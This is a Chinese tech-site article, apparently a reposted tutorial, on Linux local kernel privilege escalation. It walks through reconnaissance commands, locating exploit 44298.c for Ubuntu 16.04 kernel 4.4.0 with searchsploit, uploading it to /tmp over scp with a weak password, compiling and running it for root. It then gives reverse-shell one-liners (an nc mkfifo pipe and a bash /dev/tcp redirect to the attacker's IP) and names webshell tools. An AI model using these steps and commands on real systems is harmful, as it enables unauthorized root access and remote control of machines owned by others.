IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 系统运维 -> 本地内核提权 -> 正文阅读

[系统运维]本地内核提权

目录

一.概述

二.利用步骤

1.信息收集

(1)用户权限

?(2)内核版本(uname -r)

??(3)内核版本信息(cat /etc/issue)

2.提权

(1)搜索内核版本EXP(searchsploit 内核版本)

?(2)EXP上传目标主机

(3)目标主机编译EXP(gcc exp.c -o payload)

3.其他(无法提权情况)

(1)nc监听(nc -lvp 监听端口)

(2)shell反弹

三.内核提权总结

一.概述

Linux系统漏洞的exp一般按照内核版本来命名:2.6.18-194或2.6.18.c。形如2.6.18-194,可以直接执行;形如2.6.18.c,需要编译后运行,提权。
当然也有少部分exp是按照发行版版本命名。在使用exp提权时直接使exp执行即可,一般情况下linux的本地提权要用nc反弹出来,因为Linux下提升权限后得到的是交互式shell,需反弹才能进行下一步命令的执行。
那么我们如何知道使用哪个exp来提权呢?使用uname-a命令或者cat/proc/version,来判断系统的内核情况等等,然后使用相对应的exp进行提权。
1.提权过程中需要为你的提权exp赋权,使用chmod命令。
2.linux服务器很多情况下管理员会设置目录权限,普通权限无法修改,但是一般/tmp/目录不会被设置权限,这和windows下的tmp和回收站是一个道理。

二.利用步骤

1.信息收集

(1)用户权限

执行命令id,查看当前用户的UID及GID。UID和GID为1000,确认为普通用户

?(2)内核版本(uname -r)

普通用户权限有很多限制,因此可以通过内核提权来突破这些限制。执行命令uname -r,查看内核版本


(3)内核版本信息(cat /etc/issue)

执行命令cat/etc/issue,发现系统版本为Ubuntu 16.04.3,为后面寻找EXP进行内核提权做准备

?

2.提权

(1)搜索内核版本EXP(searchsploit 内核版本)

使用Kali下的searchsploit命令,根据目标主机内核版本linux4.4.0线索搜索对应EXP。执行命令searchsploit ?linux ?4.4.0ubuntu,搜索系统内核为4.4.0的相关漏洞,根据信息收集步骤得知目标主机操作系统Ubuntu16.04.3内核为4.4.0-93,目标主机内核小于4.4.0-116,并且系统版本也符合16.04,所以使用的EXP为44298.c。

?(2)EXP上传目标主机

上传方法一(kali直接上传):

定位到EXP后下一步要将EXP上传至目标主机。如果目标主机是弱口令获取的Shell,可以执行命令scp /usr/share/exploitdb/exploits/linux/local/44298.c? 目标主机名@目标主机IP :/tmp,上传EXP,输入yes确认连接,并在系统询问时输入用户弱口令密码。

?之所以要拷贝到tmp目录,是因为通常所有用户对此目录都具有读写权限,scp为Linux的传输命令

(3)目标主机编译EXP(gcc exp.c -o payload)

进入目标主机,执行命令cd /tmp,切换至/tmp目录。由于上传的EXP为C语言程序,所以需要执行命令gcc 44298.c-o payload,使用gcc编译上传的EXP保存至名为payload的文件。

再执行命令./payload,运行编译输出的文件,此时系统已提升为root权限,执行命令whoami,进行验证

?上传方法二:

(1)在Kali中将EXP文件下载 ——通过蚁剑/冰蝎/哥斯拉等工具将文件上传至目标主机tmp目录下——在蚁剑/冰蝎/哥斯拉工具下使用虚拟终端gcc编译exp——提权

3.其他(无法提权情况)

有时候如果exp文件有可执行权限,直接执行./exp后发现却不能执行root命令,无法提权。这是为什么呢?
这是因为webshell并不是可交互式shell,执行程序是一次性执行,并不持续,所以这就需要首先获取一个可交互式shell,Linux下有nc,为了安全起见,取消了-e选项,避免了反弹/bin/bash,可以通过建立通信管道来进行nc反弹shell。

(1)nc监听(nc -lvp 监听端口)

新建一个终端利用nc监听2345端口,命令为nc -lvp 2345

(2)shell反弹

在AntSword/冰蝎工具中中切换到虚拟终端中执行

rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 攻击机IP 监听端口>/tmp/f 然后在nc中就可以看到反弹回来的shell了

(3)除了上面利用nc的方式外,还可以使用bash -i>& /dev/tcp/攻击机IP/ 监听端口 0>&1来反弹shell
(4)输入命令./exp执行提权

三.内核提权总结

先信息收集到内核版本-----再利用kali进行exp寻找-----找到之后将exp上传(或拷贝)到目标主机的tmp目录下-----目标主机tmp目录下gcc执行上传的payload-----提权。

  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-07-04 23:22:23  更:2022-07-04 23:23:57 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/29 8:42:52-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计